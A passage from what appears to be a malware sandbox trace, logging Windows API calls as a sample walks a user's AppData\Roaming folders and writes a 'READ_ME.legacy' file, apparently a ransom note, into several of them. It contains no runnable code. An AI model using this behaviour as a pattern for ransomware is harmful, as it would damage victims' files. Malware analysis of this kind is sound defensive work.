Size=0x60) returned 0x556848 [0117.592] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ad10f0, ftCreationTime.dwHighDateTime=0x1d4d2a4, ftLastAccessTime.dwLowDateTime=0xc5b55b20, ftLastAccessTime.dwHighDateTime=0x1d4c95f, ftLastWriteTime.dwLowDateTime=0xc5b55b20, ftLastWriteTime.dwHighDateTime=0x1d4c95f, nFileSizeHigh=0x0, nFileSizeLow=0x8061, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7j6Oc.jpg", cAlternateFileName="")) returned 1 [0117.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0117.592] GetLastError () returned 0x12 [0117.592] SetLastError (dwErrCode=0x12) [0117.592] GetLastError () returned 0x12 [0117.592] SetLastError (dwErrCode=0x12) [0117.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0117.592] GetLastError () returned 0x12 [0117.592] SetLastError (dwErrCode=0x12) [0117.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0117.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0117.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0117.593] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbc33d0, ftCreationTime.dwHighDateTime=0x1d4cfc6, ftLastAccessTime.dwLowDateTime=0xda54e3e0, ftLastAccessTime.dwHighDateTime=0x1d4d50b, ftLastWriteTime.dwLowDateTime=0xda54e3e0, ftLastWriteTime.dwHighDateTime=0x1d4d50b, nFileSizeHigh=0x0, nFileSizeLow=0x11f87, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7v42XS45.png", cAlternateFileName="")) returned 1 [0117.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.593] GetLastError () returned 0x12 [0117.593] SetLastError (dwErrCode=0x12) [0117.593] GetLastError () returned 0x12 [0117.593] SetLastError (dwErrCode=0x12) [0117.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.593] GetLastError () returned 0x12 [0117.593] SetLastError (dwErrCode=0x12) [0117.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0117.594] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0117.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0117.594] GetLastError () returned 0x12 [0117.594] SetLastError (dwErrCode=0x12) [0117.594] GetLastError () returned 0x12 [0117.594] SetLastError (dwErrCode=0x12) [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0117.594] GetLastError () returned 0x12 [0117.594] SetLastError (dwErrCode=0x12) [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dbe0 [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56db88 [0117.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0117.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0117.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0117.595] GetLastError () returned 0x12 [0117.595] SetLastError (dwErrCode=0x12) [0117.595] GetLastError () returned 0x12 [0117.595] SetLastError (dwErrCode=0x12) [0117.595] GetLastError () returned 0x12 [0117.595] SetLastError (dwErrCode=0x12) [0117.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.619] WriteFile (in: hFile=0x6a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.620] CloseHandle (hObject=0x6a8) returned 1 [0117.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0117.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db88 | out: hHeap=0x520000) returned 1 [0117.620] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf889b8b0, ftCreationTime.dwHighDateTime=0x1d4c622, ftLastAccessTime.dwLowDateTime=0x3a830580, ftLastAccessTime.dwHighDateTime=0x1d4d124, ftLastWriteTime.dwLowDateTime=0x3a830580, ftLastWriteTime.dwHighDateTime=0x1d4d124, nFileSizeHigh=0x0, nFileSizeLow=0x157ec, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ahmeaRl.png", cAlternateFileName="")) returned 1 [0117.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0117.621] GetLastError () returned 0x0 [0117.621] SetLastError (dwErrCode=0x0) [0117.621] GetLastError () returned 0x0 [0117.621] SetLastError (dwErrCode=0x0) [0117.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0117.621] GetLastError () returned 0x0 [0117.621] SetLastError (dwErrCode=0x0) [0117.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0117.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0117.621] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf271ff0, ftCreationTime.dwHighDateTime=0x1d4cf05, ftLastAccessTime.dwLowDateTime=0x4b7a3590, ftLastAccessTime.dwHighDateTime=0x1d4cc4f, ftLastWriteTime.dwLowDateTime=0x4b7a3590, ftLastWriteTime.dwHighDateTime=0x1d4cc4f, nFileSizeHigh=0x0, nFileSizeLow=0x1048c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="dCYRa.jpg", cAlternateFileName="")) returned 1 [0117.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0117.622] GetLastError () returned 0x0 [0117.622] SetLastError (dwErrCode=0x0) [0117.622] GetLastError () returned 0x0 [0117.622] SetLastError (dwErrCode=0x0) [0117.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0117.622] GetLastError () returned 0x0 [0117.622] SetLastError (dwErrCode=0x0) [0117.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0117.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0117.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dea0 [0117.622] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d585ba0, ftCreationTime.dwHighDateTime=0x1d4cb4f, ftLastAccessTime.dwLowDateTime=0xdbf04820, ftLastAccessTime.dwHighDateTime=0x1d4c6d8, ftLastWriteTime.dwLowDateTime=0xdbf04820, ftLastWriteTime.dwHighDateTime=0x1d4c6d8, nFileSizeHigh=0x0, nFileSizeLow=0x11b99, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="fL2x0_UbFCma9-HfWpPr.swf", cAlternateFileName="FL2X0_~1.SWF")) returned 1 [0117.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0117.623] GetLastError () returned 0x0 [0117.623] SetLastError (dwErrCode=0x0) [0117.623] GetLastError () returned 0x0 [0117.623] SetLastError (dwErrCode=0x0) [0117.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0117.623] GetLastError () returned 0x0 [0117.623] SetLastError (dwErrCode=0x0) [0117.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0117.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0117.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0117.623] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6e5370, ftCreationTime.dwHighDateTime=0x1d4ce42, ftLastAccessTime.dwLowDateTime=0xc68d9390, ftLastAccessTime.dwHighDateTime=0x1d4d4a0, ftLastWriteTime.dwLowDateTime=0xc68d9390, ftLastWriteTime.dwHighDateTime=0x1d4d4a0, nFileSizeHigh=0x0, nFileSizeLow=0x7a9b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GTvX8uZu4VVL em6HpmN.wav", cAlternateFileName="GTVX8U~1.WAV")) returned 1 [0117.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0117.624] GetLastError () returned 0x0 [0117.624] SetLastError (dwErrCode=0x0) [0117.624] GetLastError () returned 0x0 [0117.624] SetLastError (dwErrCode=0x0) [0117.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0117.624] GetLastError () returned 0x0 [0117.624] SetLastError (dwErrCode=0x0) [0117.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0117.624] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4240630, ftCreationTime.dwHighDateTime=0x1d4d037, ftLastAccessTime.dwLowDateTime=0xbccf19a0, ftLastAccessTime.dwHighDateTime=0x1d4ccd0, ftLastWriteTime.dwLowDateTime=0xbccf19a0, ftLastWriteTime.dwHighDateTime=0x1d4ccd0, nFileSizeHigh=0x0, nFileSizeLow=0x109ff, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HBUuJIee6 B.ots", cAlternateFileName="HBUUJI~1.OTS")) returned 1 [0117.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0117.624] GetLastError () returned 0x0 [0117.624] SetLastError (dwErrCode=0x0) [0117.625] GetLastError () returned 0x0 [0117.625] SetLastError (dwErrCode=0x0) [0117.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0117.625] GetLastError () returned 0x0 [0117.625] SetLastError (dwErrCode=0x0) [0117.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0117.625] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29cf320, ftCreationTime.dwHighDateTime=0x1d4d466, ftLastAccessTime.dwLowDateTime=0x4e103100, ftLastAccessTime.dwHighDateTime=0x1d4ccc3, ftLastWriteTime.dwLowDateTime=0x4e103100, ftLastWriteTime.dwHighDateTime=0x1d4ccc3, nFileSizeHigh=0x0, nFileSizeLow=0x110ca, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="iviN1DXG16RTV5j.jpg", cAlternateFileName="IVIN1D~1.JPG")) returned 1 [0117.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0117.625] GetLastError () returned 0x0 [0117.625] SetLastError (dwErrCode=0x0) [0117.625] GetLastError () returned 0x0 [0117.625] SetLastError (dwErrCode=0x0) [0117.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0117.626] GetLastError () returned 0x0 [0117.626] SetLastError (dwErrCode=0x0) [0117.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0117.626] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ebbc20, ftCreationTime.dwHighDateTime=0x1d4c9b1, ftLastAccessTime.dwLowDateTime=0x33b09880, ftLastAccessTime.dwHighDateTime=0x1d4cdf5, ftLastWriteTime.dwLowDateTime=0x33b09880, ftLastWriteTime.dwHighDateTime=0x1d4cdf5, nFileSizeHigh=0x0, nFileSizeLow=0x17754, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="l4tZ.flv", cAlternateFileName="")) returned 1 [0117.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0117.626] GetLastError () returned 0x0 [0117.627] SetLastError (dwErrCode=0x0) [0117.627] GetLastError () returned 0x0 [0117.627] SetLastError (dwErrCode=0x0) [0117.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0117.627] GetLastError () returned 0x0 [0117.627] SetLastError (dwErrCode=0x0) [0117.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56de48 [0117.627] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0117.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0117.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0117.627] GetLastError () returned 0x0 [0117.627] SetLastError (dwErrCode=0x0) [0117.628] GetLastError () returned 0x0 [0117.628] SetLastError (dwErrCode=0x0) [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0117.628] GetLastError () returned 0x0 [0117.628] SetLastError (dwErrCode=0x0) [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0117.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0117.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0117.629] GetLastError () returned 0x0 [0117.629] SetLastError (dwErrCode=0x0) [0117.629] GetLastError () returned 0x0 [0117.629] SetLastError (dwErrCode=0x0) [0117.629] GetLastError () returned 0x0 [0117.629] SetLastError (dwErrCode=0x0) [0117.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.629] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.630] WriteFile (in: hFile=0x6a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.632] CloseHandle (hObject=0x6a8) returned 1 [0117.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0117.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0117.632] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0117.632] GetLastError () returned 0x0 [0117.632] SetLastError (dwErrCode=0x0) [0117.632] GetLastError () returned 0x0 [0117.632] SetLastError (dwErrCode=0x0) [0117.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0117.633] GetLastError () returned 0x0 [0117.633] SetLastError (dwErrCode=0x0) [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0117.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56def8 [0117.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56def8 | out: hHeap=0x520000) returned 1 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0117.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5671d8 [0117.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671d8 | out: hHeap=0x520000) returned 1 [0117.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b08 [0117.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.634] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0117.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0117.634] GetLastError () returned 0x0 [0117.634] SetLastError (dwErrCode=0x0) [0117.634] GetLastError () returned 0x0 [0117.634] SetLastError (dwErrCode=0x0) [0117.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0117.635] GetLastError () returned 0x0 [0117.635] SetLastError (dwErrCode=0x0) [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56def8 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dc90 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0117.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0117.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: 